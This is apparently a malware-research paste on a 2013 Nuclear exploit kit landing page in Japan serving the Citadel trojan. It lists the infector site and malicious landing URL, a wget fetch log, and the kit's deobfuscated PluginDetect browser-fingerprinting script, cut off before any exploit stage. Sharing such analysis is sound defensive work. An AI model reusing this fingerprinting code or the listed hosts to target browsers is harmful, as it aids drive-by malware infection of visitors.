#Nuclear EK Landing Page in Japan serves Citadel
#MalwareMustDie - credit: @kafeine for the hint.
/* The Infector */
http://moro-movie.com/jp.php
/* Had the plain text iframe lead to
http://c1hdm.scanbegin.biz:53331/decf183f631881b631e66a6da8cd4b95/3/3e7495364177065c66f59a910d144fdf.html */
--2013-11-09 00:44:01-- http://c1hdm.scanbegin.biz:53331/decf183f631881b631e66a6da8cd4b95/3/3e7495364177065c66f59a910d144fdf.html
Resolving c1hdm.scanbegin.biz... 142.4.194.3
Caching c1hdm.scanbegin.biz => 142.4.194.3
Connecting to c1hdm.scanbegin.biz|142.4.194.3|:53331... connected.
---request begin---
GET /decf183f631881b631e66a6da8cd4b95/3/3e7495364177065c66f59a910d144fdf.html HTTP/1.1
Referer: http://moro-movie.com/jp.php
Host: c1hdm.scanbegin.biz:53331
Connection: Keep-Alive
HTTP request sent, awaiting response...
---response begin---
HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Fri, 08 Nov 2013 15:48:10 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.27
Vary: Accept-Encoding,User-Agent
---response end---
200 OK
Length: unspecified [text/html]
Saving to: ‘3e7495364177065c66f59a910d144fdf.html’
c66f59a910d144fdf.html’ saved [79264]
/* Za Plugin Detect */
var PluginDetect = {
version : "0.8.3", name : "PluginDetect", openTag : "<", isDefined : function (b){
return typeof b != "undefined"
}
, isArray : function (b){
return (/array/i).test(Object.prototype.toString.call(b))
}
, isFunc : function (b){
return typeof b == "function"
}
, isString : function (b){
return typeof b == "string"
}
, isNum : function (b){
return typeof b == "number"
}
, isStrNum : function (b){
return (typeof b == "string" && (/\d/).test(b))
}
, getNumRegx :/ [ \ d][ \ d \ . \ _ ,\- ] */, splitNumRegx :/ [ \ . \ _ ,\- ] / g,
getNum : function (b, c){
var d = this , a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).
exec(b) : null;
return a ? a[0] : null
}
, compareNums : function (h, f, d){
var e = this , c, b, a, g = parseInt;
if (e.isStrNum(h) && e.isStrNum(f)){
if (e.isDefined(d) && d.compareNums){
return d.compareNums(h, f)
}
c = h.split(e.splitNumRegx);
b = f.split(e.splitNumRegx);
for (a = 0; a < Math.min(c.length, b.length);
a ++ ){
if (g(c[a], 10) > g(b[a], 10)){
return 1
}
if (g(c[a], 10) < g(b[a], 10)){
return - 1
}
}
}
return 0
}
, formatNum : function (b, c){
var d = this , a, e;
if (!d.isStrNum(b)){
return null
}
if (!d.isNum(c)){
c = 4
}
c--;
e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
for (a = 0; a < 4; a ++ ){
if (/^(0+)(.+)$/.test(e[a])){
e[a] = RegExp.$2
}
if (a > c ||! (/\d/).test(e[a])){
e[a] = "0"
}
}
return e.slice(0, 4).join(",")
}
, getPROP : function (d, b, a){
var c;
try {
if (d){
a = d[b]
}
}
catch (c){
}
return a
}
, findNavPlugin : function (l, e, c){
var j = this , h = new RegExp(l, "i"), d = (!j.isDefined(e) || e) ?/\ d /: 0, k = c ?
new RegExp(c, "i") : 0, a = navigator.plugins, g = "", f, b, m;
for (f = 0; f < a.length; f ++ ){
m = a[f].description || g;
b = a[f].name || g;
if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.
test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))){
if (!k ||! (k.test(m) || k.test(b))){
return a[f]
}
}
}
return null
}
, getMimeEnabledPlugin : function (k, m, c){
var e = this , f, b = new RegExp(m, "i"), h = "", g = c ? new RegExp(c, "i") : 0, a, l
, d, j = e.isString(k) ? [k] : k;
for (d = 0; d < j.length; d ++ ){
if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)){
l = f.description || h;
a = f.name || h;
if (b.test(l) || b.test(a)){
if (!g ||! (g.test(l) || g.test(a))){
return f
}
}
}
}
return 0
}
, getVersionDelimiter : ",", findPlugin : function (d){
var c = this , b, d, a = {
status :- 3, plugin : 0
}
;
if (c.DOM){
c.DOM.initDiv()
}
if (!c.isString(d)){
return a
}
if (d.length == 1){
c.getVersionDelimiter = d;
return a
}
d = d.toLowerCase().replace(/\s/g, "");
b = c.Plugins[d];
if (!b ||! b.getVersion){
return a
}
a.plugin = b;
a.status = 1;
return a
}
, getPluginFileVersion : function (f, b){
var h = this , e, d, g, a, c =- 1;
if (h.OS > 2 ||! f ||! f.version ||! (e = h.getNum(f.version))){
return b
}
if (!b){
return e
}
e = h.formatNum(e);
b = h.formatNum(b);
d = b.split(h.splitNumRegx);
g = e.split(h.splitNumRegx);
for (a = 0; a < d.length; a ++ ){
if (c >- 1 && a > c && d[a] != "0"){
return b
}
if (g[a] != d[a]){
if (c ==- 1){
c = a
}
if (d[a] != "0"){
return b
}
}
}
return e
}
, AXO : window.ActiveXObject, getAXO : function (a){
var d = null, c, b = this ;
try {
d = new b.AXO(a)
}
catch (c){
}
;
return d
}
, INIT : function (){
this .init.library(this )
}
, init : {
$ : 1, hasRun : 0, objProperties : function (d, e, b){
var a, c = {
}
;
if (e && b){
if (e[b[0]] === 1 &&! d.isArray(e) &&! d.isFunc(e) &&! d.isString(e) &&! d.isNum(e
)){
for (a = 0; a < b.length; a = a + 2){
e[b[a]] = b[a + 1];
c[b[a]] = 1
}
}
for (ain e){
if (!c[a] && e[a] && e[a][b[0]] === 1){
this .objProperties(d, e[a], b)
}
}
}
}
, publicMethods : function (c, f){
var g = this , b = g.$, a, d;
if (c && f){
for (ain c){
try {
if (b.isFunc(c[a])){
f[a] = c[a](f)
}
}
catch (d){
}
}
}
}
, plugin : function (a, c){
var d = this , b = d.$;
if (a){
d.objProperties(b, a, ["$", b, "$$", a]);
if (!b.isDefined(a.getVersionDone)){
a.installed = null;
a.version = null;
a.version0 = null;
a.getVersionDone = null;
a.pluginName = c
}
}
}
, detectIE : function (){
var init = this , $ = init.$, doc = document, e, x, userAgent = navigator.userAgent
|| "", progid, progid1, progid2;
$.isIE = eval("/*@cc_on!@*/!1");
$.verIE = $.isIE ? ((/^(?:.*?[^a-zA-Z])??(?:MSIE|IE)\s*(\d+\.?\d*)/i).test(userAgent
) ? parseFloat(RegExp.$1, 10) : 7) : null;
$.ActiveXEnabled =! 1;
$.ActiveXFilteringEnabled =! 1;
if ($.isIE){
try {
$.ActiveXFilteringEnabled = window.external.msActiveXFilteringEnabled()
}
catch (e){
}
progid1 = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM",
"TDCCtl.TDCCtl", "Shell.UIHelper", "HtmlDlgSafeHelper.HtmlDlgSafeHelper",
"Scripting.Dictionary"];
progid2 = ["WMPlayer.OCX", "ShockwaveFlash.ShockwaveFlash", "AgControl.AgControl",
];
progid = progid1.concat(progid2);
for (x = 0; x < progid.length; x ++ ){
if ($.getAXO(progid[x])){
$.ActiveXEnabled =! 0;
if (!$.dbug){
break
}
}
}
if ($.ActiveXEnabled && $.ActiveXFilteringEnabled){
for (x = 0; x < progid2.length; x ++ ){
if ($.getAXO(progid2[x])){
$.ActiveXFilteringEnabled =! 1;
break
}
}
}
}
}
, detectNonIE : function (){
var e = this , c = this .$, d = navigator, b = c.isIE ? "" : d.userAgent || "", f =
d.vendor || "", a = d.product || "";
c.isGecko = (/Gecko/i).test(a) && (/Gecko\s*\/\s*\d/i).test(b);
c.verGecko = c.isGecko ? c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(b) ? RegExp.$1 :
"0.9") : null;
c.isChrome = (/(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i).test(b);
c.verChrome = c.isChrome ? c.formatNum(RegExp.$2) : null;
c.isSafari =! c.isChrome && ((/Apple/i).test(f) ||! f) && (
/Safari\s*\/\s*(\d[\d\.]*)/i).test(b);
c.verSafari = c.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(b) ? c.formatNum(
RegExp.$1) : null;
c.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(b);
c.verOpera = c.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(b) || 1) ?
parseFloat(RegExp.$1, 10) : null
}
, detectPlatform : function (){
var e = this , d = e.$, b, a = navigator.platform || "";
d.OS = 100;
if (a){
var c = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod",
21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "",
100];
for (b = c.length - 2; b >= 0; b = b - 2){
if (c[b] && new RegExp(c[b], "i").test(a)){
d.OS = c[b + 1];
break
}
}
}
}
, library : function (c){
var e = this , d = document, b, a;
c.init.objProperties(c, c, ["$", c]);
for (ain c.Plugins){
c.init.plugin(c.Plugins[a], a)
}
e.publicMethods(c.PUBLIC, c);
c.win.init();
c.head = d.getElementsByTagName("head")[0] || d.getElementsByTagName("body")[0] || d
.body || null;
e.detectPlatform();
e.detectIE();
e.detectNonIE();
c.init.hasRun = 1
}
}
, ev : {
$ : 1, handler : function (c, b, a){
return function (){
c(b, a)
}
}
, fPush : function (b, a){
var c = this , d = c.$;
if (d.isArray(a) && (d.isFunc(b) || (d.isArray(b) && b.length > 0 && d.isFunc(b[0
])))){
a.push(b)
}
}
, callArray : function (a){
var b = this , d = b.$, c;
if (d.isArray(a)){
while (a.length){
c = a[0];
a.splice(0, 1);
b.call(c)
}
}
}
, call : function (d){
var b = this , c = b.$, a = c.isArray(d) ? d.length :- 1;
if (a > 0 && c.isFunc(d[0])){
d[0](c, a > 1 ? d[1] : 0, a > 2 ? d[2] : 0, a > 3 ? d[3] : 0)
}
else {
if (c.isFunc(d)){
d(c)
}
}
}
}
, PUBLIC : {
isMinVersion : function (b){
var a = function (j, h, e, d){
var f = b.findPlugin(j), g, c =- 1;
if (f.status < 0){
return f.status
}
g = f.plugin;
h = b.formatNum(b.isNum(h) ? h.toString() : (b.isStrNum(h) ? b.getNum(h) : "0"));
if (g.getVersionDone != 1){
g.getVersion(h, e, d);
if (g.getVersionDone === null){
g.getVersionDone = 1
}
}
if (g.installed !== null){
c = g.installed <= 0.5 ? g.installed : (g.installed == 0.7 ? 1 : (g.version ===
null ? 0 : (b.compareNums(g.version, h, g) >= 0 ? 1 :- 0.1)))
}
;
return c
}
;
return a
}
, getVersion : function (b){
var a = function (h, e, d){
var f = b.findPlugin(h), g, c;
if (f.status < 0){
return null
}
;
g = f.plugin;
if (g.getVersionDone != 1){
g.getVersion(null, e, d);
if (g.getVersionDone === null){
g.getVersionDone = 1
}
}
c = (g.version || g.version0);
c = c ? c.replace(b.splitNumRegx, b.getVersionDelimiter) : c;
return c
}
;
return a
}
, onDetectionDone : function (b){
var a = function (j, h, d, c){
var e = b.findPlugin(j), k, g;
if (e.status ==- 3){
return - 1
}
g = e.plugin;
if (!b.isArray(g.funcs)){
g.funcs = []
}
;
if (g.getVersionDone != 1){
k = b.getVersion ? b.getVersion(j, d, c) : b.isMinVersion(j, "0", d, c)
}
if (g.installed !=- 0.5 && g.installed != 0.5){
b.ev.call(h);
return 1
}
b.ev.fPush(h, g.funcs);
return 0
}
;
return a
}
, hasMimeType : function (b){
var a = function (d){
if (!b.isIE && d && navigator && navigator.mimeTypes){
var g, f, c, e = b.isArray(d) ? d : (b.isString(d) ? [d] : []);
for (c = 0; c < e.length; c ++ ){
if (b.isString(e[c]) &&/ [ ^\ s] / .test(e[c])){
g = navigator.mimeTypes[e[c]];
f = g ? g.enabledPlugin : 0;
if (f && (f.name || f.description)){
return g
}
}
}
}
return null
}
;
return a
}
, z : 0
}
, codebase : {
$ : 1, isDisabled : function (){
var a = this , b = a.$;
return b.ActiveXEnabled && b.isIE && b.verIE >= 7 ? 0 : 1
}
, checkGarbage : function (d){
var b = this , c = b.$, a;
if (c.isIE && d && c.getPROP(d.firstChild, "object")){
a = c.getPROP(d.firstChild, "readyState");
if (c.isNum(a) && a != 4){
b.garbage = 1;
return 1
}
}
return 0
}
, emptyGarbage : function (){
var a = this , b = a.$, c;
if (b.isIE && a.garbage){
try {
window.CollectGarbage()
}
catch (c){
}
a.garbage = 0
}
}
, init : function (e){
if (!e.init){
var c = this , d = c.$, a, b;
e.init = 1;
e.min = 0;
e.max = 0;
e.hasRun = 0;
e.version = null;
e.L = 0;
e.altHTML = "";
e.span = document.createElement("span");
e.tagA = '<object width="1" height="1" style="display:none;" codebase="#version=';
b = e.classID || e.$$.classID || "";
e.tagB = '" ' + ((/clsid\s*:/i).test(b) ? 'classid="' : 'type="') + b + '">' + e.
altHTML + d.openTag + "/object>";
for (a = 0; a < e.Lower.length; a ++ ){
e.Lower[a] = d.formatNum(e.Lower[a]);
e.Upper[a] = d.formatNum(e.Upper[a])
}
}
}
, isActiveXObject : function (i, b){
var f = this , g = f.$, a = 0, h, d = i.$$, c = i.span;
if (i.min && g.compareNums(b, i.min) <= 0){
return 1
}
if (i.max && g.compareNums(b, i.max) >= 0){
return 0
}
c.innerHTML = i.tagA + b + i.tagB;
if (g.getPROP(c.firstChild, "object")){
a = 1
}
;
f.checkGarbage(c);
c.innerHTML = "";
if (a){
i.min = b
}
else {
i.max = b
}
return a
}
, convert_ : function (f, a, b, e){
var d = f.convert[a], c = f.$;
return d ? (c.isFunc(d) ? c.formatNum(d(b.split(c.splitNumRegx), e).join(",")) : b) :
d
}
, convert : function (h, c, g){
var e = this , f = h.$, b, a, d;
c = f.formatNum(c);
a = {
v : c, x :- 1
}
;
if (c){
for (b = 0; b < h.Lower.length; b ++ ){
d = e.convert_(h, b, h.Lower[b]);
if (d && f.compareNums(c, g ? d : h.Lower[b]) >= 0 && (!b || f.compareNums(c, g ?
e.convert_(h, b, h.Upper[b]) : h.Upper[b]) < 0)){
a.v = e.convert_(h, b, c, g);
a.x = b;
break
}
}
}
return a
}
, isMin : function (g, f){
var d = this , e = g.$, c, b, a = 0;
d.init(g);
if (!e.isStrNum(f) || d.isDisabled()){
return a
}
;
if (!g.L){
g.L = {
}
;
for (c = 0; c < g.Lower.length; c ++ ){
if (d.isActiveXObject(g, g.Lower[c])){
g.L = d.convert(g, g.Lower[c]);
break
}
}
}
if (g.L.v){
b = d.convert(g, f, 1);
if (b.x >= 0){
a = (g.L.x == b.x ? d.isActiveXObject(g, b.v) : e.compareNums(f, g.L.v) <= 0) ?
1 :- 1
}
}
;
return a
}
, search : function (g){
var k = this , h = k.$, i = g.$$, b = 0, c;
k.init(g);
c = (g.hasRun || k.isDisabled()) ? 1 : 0;
g.hasRun = 1;
if (c){
return g.version
}
;
var o, n, m, j = function (q, t){
var r = [].concat(f), s;
r[q] = t;
s = k.isActiveXObject(g, r.join(","));
if (s){
b = 1;
f[q] = t
}
else {
p[q] = t
}
return s
}
, d = g.DIGITMAX, e, a, l = 99999999, f = [0, 0, 0, 0], p = [0, 0, 0, 0];
for (o = 0; o < p.length; o ++ ){
f[o] = Math.floor(g.DIGITMIN[o]) || 0;
e = f.join(",");
a = f.slice(0, o).concat([l, l, l, l]).slice(0, f.length).join(",");
for (m = 0; m < d.length; m ++ ){
if (h.isArray(d[m])){
d[m].push(0);
if (d[m][o] > p[o] && h.compareNums(a, g.Lower[m]) >= 0 && h.compareNums(e, g.
Upper[m]) < 0){
p[o] = Math.floor(d[m][o])
}
}
}
for (n = 0; n < 30; n ++ ){
if (p[o] - f[o] <= 16){
for (m = p[o];
m >= f[o] + (o ? 1 : 0);
m -- ){
if (j(o, m)){
break
}
}
break
}
j(o, Math.round((p[o] + f[o]) / 2))
}
if (!b){
break
}
p[o] = f[o]
}
if (b){
g.version = k.convert(g, f.join(",")).v
}
;
return g.version
}
}
, win : {
$ : 1, loaded : false, hasRun : 0, init : function (){
var b = this , a = b.$;
if (!b.hasRun){
b.hasRun = 1;
b.addEvent("load", a.ev.handler(b.runFuncs, a));
b.addEvent("unload", a.ev.handler(b.cleanup, a))
}
}
, addEvent : function (c, b){
var e = this , d = e.$, a = window;
if (d.isFunc(b)){
if (a.addEventListener){
a.addEventListener(c, b, false)
}
else {
if (a.attachEvent){
a.attachEvent("on" + c, b)
}
else {
a["on" + c] = e.concatFn(b, a["on" + c])
}
}
}
}
, concatFn : function (d, c){
return function (){
d();
if (typeof c == "function"){
c()
}
}
}
, funcs0 : [], funcs : [], cleanup : function (b){
if (b){
for (var ain b){
b[a] = 0
}
b = 0
}
}
, runFuncs : function (a){
if (a &&! a.win.loaded){
a.win.loaded = true;
a.ev.callArray(a.win.funcs0);
a.ev.callArray(a.win.funcs);
if (a.DOM){
a.DOM.onDoneEmptyDiv()
}
}
}
, z : 0
}
, DOM : {
$ : 1, isEnabled : {
$ : 1, objectTag : function (){
var a = this .$;
return a.isIE ? a.ActiveXEnabled : 1
}
, objectProperty : function (){
var a = this .$;
return a.isIE && a.verIE >= 7 ? 1 : 0
}
}
, div : null, divID : "plugindetect", divClass : "doNotRemove", divWidth : 50, getDiv :
function (){
var a = this ;
return a.div || document.getElementById(a.divID) || null
}
, isDivPermanent : function (){
var b = this , c = b.$, a = b.getDiv();
return a && c.isString(a.className) && a.className.toLowerCase().indexOf(b.divClass.
toLowerCase()) >- 1 ? 1 : 0
}
, initDiv : function (b){
var c = this , d = c.$, a;
if (!c.div){
a = c.getDiv();
if (a){
c.div = a
}
else {
if (b){
c.div = document.createElement("div");
c.div.id = c.divID
}
}
if (c.div){
c.setStyle(c.div, c.defaultStyle.concat(["display", "block", "width", c.divWidth
+ "px", "height", (c.pluginSize + 3) + "px", "fontSize", (c.pluginSize + 3) +
"px", "lineHeight", (c.pluginSize + 3) + "px"]));
if (!a){
c.setStyle(c.div, ["position", "absolute", "right", "0px", "top", "0px"]);
c.insertDivInBody(c.div)
}
}
}
}
, pluginSize : 1, altHTML : " ", emptyNode : function (c
){
var b = this , d = b.$, a, f;
if (c && c.childNodes){
for (a = c.childNodes.length - 1; a >= 0; a -- ){
if (d.isIE){
b.setStyle(c.childNodes[a], ["display", "none"])
}
c.removeChild(c.childNodes[a])
}
}
}
, LASTfuncs : [], onDoneEmptyDiv : function (){
var f = this , g = f.$, b, d, c, a, h;
f.initDiv();
if (!g.win.loaded || g.win.funcs0.length || g.win.funcs.length){
return
}
for (bin g.Plugins){
d = g.Plugins[b];
if (d){
if (d.OTF == 3 || (d.funcs && d.funcs.length)){
return
}
}
}
g.ev.callArray(f.LASTfuncs);
a = f.getDiv();
if (a){
if (f.isDivPermanent()){
}
else {
if (a.childNodes){
for (b = a.childNodes.length - 1; b >= 0; b -- ){
c = a.childNodes[b];
f.emptyNode(c)
}
try {
a.innerHTML = ""
}
catch (h){
}
}
if (a.parentNode){
try {
a.parentNode.removeChild(a)
}
catch (h){
}
a = null;
f.div = null
}
}
}
}
, width : function (){
var g = this , e = g.DOM, f = e.$, d = g.span, b, c, a =- 1;
b = d && f.isNum(d.scrollWidth) ? d.scrollWidth : a;
c = d && f.isNum(d.offsetWidth) ? d.offsetWidth : a;
return c > 0 ? c : (b > 0 ? b : Math.max(c, b))
}
, obj : function (b){
var d = this , c = d.span, a = c && c.firstChild ? c.firstChild : null;
return a
}
, readyState : function (){
var b = this , a = b.DOM.$;
return a.isIE ? a.getPROP(b.obj(), "readyState") : b.undefined
}
, objectProperty : function (){
var d = this , b = d.DOM, c = b.$, a;
if (b.isEnabled.objectProperty()){
a = c.getPROP(d.obj(), "object")
}
return a
}
, getTagStatus : function (b, m, r, p, f, h){
var s = this , d = s.$, q;
if (!b ||! b.span){
return - 2
}
var k = b.width(), c = b.readyState(), a = b.objectProperty();
if (a){
return 1.5
}
var g =/ clsid \ s *\:/ i, o = r && g.test(r.outerHTML || "") ? r : (p && g.test(p.
outerHTML || "") ? p : 0), i = r &&! g.test(r.outerHTML || "") ? r : (p &&! g.test(p
.outerHTML || "") ? p : 0), l = b && g.test(b.outerHTML || "") ? o : i;
if (!m ||! m.span ||! l ||! l.span){
return 0
}
var j = l.width(), n = m.width(), t = l.readyState();
if (k < 0 || j < 0 || n <= s.pluginSize){
return 0
}
if (h &&! b.pi && d.isDefined(a) && d.isIE && b.tagName == l.tagName && b.time <= l.
time && k === j && c === 0 && t !== 0){
b.pi = 1
}
if (j < n){
return b.pi ?- 0.1 : 0
}
if (k >= n){
if (!b.winLoaded && d.win.loaded){
return b.pi ?- 0.5 :- 1
}
if (d.isNum(f)){
if (!d.isNum(b.count2)){
b.count2 = f
}
if (f - b.count2 > 0){
return b.pi ?- 0.5 :- 1
}
}
}
try {
if (k == s.pluginSize && (!d.isIE || c === 4)){
if (!b.winLoaded && d.win.loaded){
return 1
}
if (b.winLoaded && d.isNum(f)){
if (!d.isNum(b.count)){
b.count = f
}
if (f - b.count >= 5){
return 1
}
}
}
}
catch (q){
}
return b.pi ?- 0.1 : 0
}
, setStyle : function (b, h){
var c = this , d = c.$, g = b.style, a, f;
if (g && h){
for (a = 0; a < h.length; a = a + 2){
try {
g[h[a]] = h[a + 1]
}
catch (f){
}
}
}
}
, insertDivInBody : function (a, h){
var j = this , d = j.$, g, b = "pd33993399", c = null, i = h ? window.top.document :
window.document, f = i.getElementsByTagName("body")[0] || i.body;
if (!f){
try {
i.write('<div id="' + b + '">.' + d.openTag + "/div>");
c = i.getElementById(b)
}
catch (g){
}
}
f = i.getElementsByTagName("body")[0] || i.body;
if (f){
f.insertBefore(a, f.firstChild);
if (c){
f.removeChild(c)
}
}
}
, defaultStyle : ["verticalAlign", "baseline", "outlineStyle", "none", "borderStyle",
"none", "padding", "0px", "margin", "0px", "visibility", "visible"], insert : function
(b, i, g, h, c, q, o){
var s = this , f = s.$, r, t = document, v, m, p = t.createElement("span"), k, a, l =
"outline-style:none;border-style:none;padding:0px;margin:0px;visibility:" + (q ?
"hidden;" : "visible;") + "display:inline;";
if (!f.isDefined(h)){
h = ""
}
if (f.isString(b) && (/[^\s]/).test(b)){
b = b.toLowerCase().replace(/\s/g, "");
v = f.openTag + b + " ";
v += 'style="' + l + '" ';
var j = 1, u = 1;
for (k = 0; k < i.length; k = k + 2){
if (/[^\s]/.test(i[k + 1])){
v += i[k] + '="' + i[k + 1] + '" '
}
if ((/width/i).test(i[k])){
j = 0
}
if ((/height/i).test(i[k])){
u = 0
}
}
v += (j ? 'width="' + s.pluginSize + '" ' : "") + (u ? 'height="' + s.pluginSize +
'" ' : "");
v += ">";
for (k = 0; k < g.length; k = k + 2){
if (/[^\s]/.test(g[k + 1])){
v += f.openTag + 'param name="' + g[k] + '" value="' + g[k + 1] + '" />'
}
}
v += h + f.openTag + "/" + b + ">"
}
else {
b = "";
v = h
}
if (!o){
s.initDiv(1)
}
var n = o || s.getDiv();
m = {
span : null, winLoaded : f.win.loaded, tagName : b, outerHTML : v, DOM : s, time :
new Date().getTime(), width : s.width, obj : s.obj, readyState : s.readyState,
objectProperty : s.objectProperty
}
;
if (n && n.parentNode){
s.setStyle(p, s.defaultStyle.concat(["display", "inline"]).concat(o ? [] : [
"fontSize", (s.pluginSize + 3) + "px", "lineHeight", (s.pluginSize + 3) + "px"]));
n.appendChild(p);
try {
p.innerHTML = v
}
catch (r){
}
;
m.span = p;
m.winLoaded = f.win.loaded
}
return m
}
}
, file : {
$ : 1, any : "fileStorageAny999", valid : "fileStorageValid999", save : function (d, f
, c){
var b = this , e = b.$, a;
if (d && e.isDefined(c)){
if (!d[b.any]){
d[b.any] = []
}
if (!d[b.valid]){
d[b.valid] = []
}
d[b.any].push(c);
a = b.split(f, c);
if (a){
d[b.valid].push(a)
}
}
}
, getValidLength : function (a){
return a && a[this .valid] ? a[this .valid].length : 0
}
, getAnyLength : function (a){
return a && a[this .any] ? a[this .any].length : 0
}
, getValid : function (c, a){
var b = this ;
return c && c[b.valid] ? b.get(c[b.valid], a) : null
}
, getAny : function (c, a){
var b = this ;
return c && c[b.any] ? b.get(c[b.any], a) : null
}
, get : function (d, a){
var c = d.length - 1, b = this .$.isNum(a) ? a : c;
return (b < 0 || b > c) ? null : d[b]
}
, split : function (g, c){
var b = this , e = b.$, f = null, a, d;
g = g ? g.replace(".", "\.") : "";
d = new RegExp("^(.*[^\/])(" + g + "\s*)$");
if (e.isString(c) && d.test(c)){
a = (RegExp.$1).split("/");
f = {
name : a[a.length - 1], ext : RegExp.$2, full : c
}
;
a[a.length - 1] = "";
f.path = a.join("/")
}
return f
}
, z : 0
}
, Plugins : {
java : {
$ : 1, mimeType : ["application/x-java-applet", "application/x-java-vm",
"application/x-java-bean"], mimeType_dummy : "application/dummymimejavaapplet",
classID : "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93", classID_dummy :
"clsid:8AD9C840-044E-11D1-B3E9-BA9876543210", navigator : {
$ : 1, a : (function (){
var b, a =! 0;
try {
a = window.navigator.javaEnabled()
}
catch (b){
}
return a
}
)(), javaEnabled : function (){
return this .a
}
, mimeObj : 0, pluginObj : 0
}
, OTF : null, getVerifyTagsDefault : function (){
return [1, this .applet.isDisabled.VerifyTagsDefault_1() ? 0 : 1, 1]
}
, getVersion : function (j, g, i){
var b = this , d = b.$, e, a = b.applet, h = b.verify, k = b.navigator, f = null,
l = null, c = null;
if (b.getVersionDone === null){
b.OTF = 0;
k.mimeObj = d.hasMimeType(b.mimeType);
if (k.mimeObj){
k.pluginObj = k.mimeObj.enabledPlugin
}
if (h){
h.begin()
}
}
a.setVerifyTagsArray(i);
d.file.save(b, ".jar", g);
if (b.getVersionDone === 0){
if (a.should_Insert_Query_Any()){
e = a.insert_Query_Any(j);
b.setPluginStatus(e[0], e[1], f, j)
}
return
}
if ((!f || d.dbug) && b.navMime.query().version){
f = b.navMime.version
}
if ((!f || d.dbug) && b.DTK.query(d.dbug).version){
f = b.DTK.version
}
if ((!f || d.dbug) && b.navPlugin.query().version){
f = b.navPlugin.version
}
if (b.nonAppletDetectionOk(f)){
c = f
}
b.setPluginStatus(c, l, f, j);
if (a.should_Insert_Query_Any()){
e = a.insert_Query_Any(j);
if (e[0]){
c = e[0];
l = e[1]
}
}
b.setPluginStatus(c, l, f, j)
}
, nonAppletDetectionOk : function (b){
var d = this , e = d.$, a = d.navigator, c = 1;
if (!b ||! a.javaEnabled() || (!e.isIE &&! a.mimeObj) || (e.isIE &&! e.
ActiveXEnabled)){
c = 0
}
else {
if (e.OS >= 20){
}
else {
if (d.info && d.info.getPlugin2Status() < 0 && d.info.BrowserRequiresPlugin2
()){
c = 0
}
}
}
return c
}
, setPluginStatus : function (d, i, g, h){
var b = this , e = b.$, f, c = 0, a = b.applet;
g = g || b.version0;
f = a.isRange(d);
if (f){
if (a.setRange(f, h) == d){
c = f
}
d = 0
}
if (b.OTF < 3){
b.installed = c ? (c > 0 ? 0.7 :- 0.1) : (d ? 1 : (g ?- 0.2 :- 1))
}
if (b.OTF == 2 && b.NOTF &&! b.applet.getResult()[0]){
b.installed = g ?- 0.2 :- 1
}
if (b.OTF == 3 && b.installed !=- 0.5 && b.installed != 0.5){
b.installed = (b.NOTF.isJavaActive(1) == 1 ? 0.5 :- 0.5)
}
if (b.OTF == 4 && (b.installed ==- 0.5 || b.installed == 0.5)){
if (d){
b.installed = 1
}
else {
if (c){
b.installed = c > 0 ? 0.7 :- 0.1
}
else {
if (b.NOTF.isJavaActive(1) == 1){
if (g){
b.installed = 1;
d = g
}
else {
b.installed = 0
}
}
else {
if (g){
b.installed =- 0.2
}
else {
b.installed =- 1
}
}
}
}
}
if (g){
b.version0 = e.formatNum(e.getNum(g))
}
if (d &&! c){
b.version = e.formatNum(e.getNum(d))
}
if (i && e.isString(i)){
b.vendor = i
}
if (!b.vendor){
b.vendor = ""
}
if (b.verify && b.verify.isEnabled()){
b.getVersionDone = 0
}
else {
if (b.getVersionDone != 1){
if (b.OTF < 2){
b.getVersionDone = 0
}
else {
b.getVersionDone = b.applet.can_Insert_Query_Any() ? 0 : 1
}
}
}
;
e.codebase.emptyGarbage()
}
, DTK : {
$ : 1, hasRun : 0, status : null, VERSIONS : [], version : "", HTML : null,
Plugin2Status : null, classID : ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA",
"clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"], mimeType : [
"application/java-deployment-toolkit",
"application/npruntime-scriptable-plugin;DeploymentToolkit"], isDisabled :
function (a){
var b = this , c = b.$;
if (!a && (!c.DOM.isEnabled.objectTag() || (c.isIE && c.verIE < 6) || (c.isGecko
&& c.compareNums(c.verGecko, c.formatNum("1.6")) <= 0) || (c.isSafari && c.OS ==
1 && (!c.verSafari || c.compareNums(c.verSafari, "5,1,0,0") < 0)) || c.isChrome
)){
return 1
}
return 0
}
, query : function (n){
var l = this , h = l.$, f = l.$$, k, m, i, a = h.DOM.altHTML, g = {
}
, b, d = null, j = null, c = (l.hasRun || l.isDisabled(n));
l.hasRun = 1;
if (c){
return l
}
l.status = 0;
if (h.isIE){
for (m = 0; m < l.classID.length; m ++ ){
l.HTML = h.DOM.insert("object", ["classid", l.classID[m]], [], a);
d = l.HTML.obj();
if (h.getPROP(d, "jvms")){
break
}
}
}
else {
i = h.hasMimeType(l.mimeType);
if (i && i.type){
l.HTML = h.DOM.insert("object", ["type", i.type], [], a);
d = l.HTML.obj()
}
}
if (d){
try {
b = h.getPROP(d, "jvms");
if (b){
j = b.getLength();
if (h.isNum(j)){
l.status = j > 0 ? 1 :- 1;
for (m = 0; m < j; m ++ ){
i = h.getNum(b.get(j - 1 - m).version);
if (i){
l.VERSIONS.push(i);
g["a" + h.formatNum(i)] = 1
}
}
}
}
}
catch (k){
}
}
i = 0;
for (min g){
i ++
}
if (i && i !== l.VERSIONS.length){
l.VERSIONS = []
}
if (l.VERSIONS.length){
l.version = h.formatNum(l.VERSIONS[0])
}
;
return l
}
}
, navMime : {
